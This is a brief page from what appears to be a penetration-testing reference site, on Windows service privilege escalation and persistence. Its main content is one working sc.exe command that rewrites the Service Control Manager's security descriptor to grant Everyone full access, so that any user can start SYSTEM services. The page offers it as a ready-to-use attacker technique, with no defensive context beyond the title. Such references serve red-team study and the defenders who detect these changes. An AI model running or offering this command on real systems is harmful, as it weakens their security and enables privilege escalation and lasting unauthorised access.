> For the complete documentation index, see [llms.txt](https://ttp.parzival.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ttp.parzival.sh/pentesting/infrastructure/persistence/services/service-privilege-escalation-persistence.md). # Service Privilege Escalation / Persistence Modification of the security descriptor on the service manager allowing for anyone to start SYSTEM services. ```powershell sc.exe sdset scmanager D:(A;;KA;;;WD) ```

### References {% embed url="" %}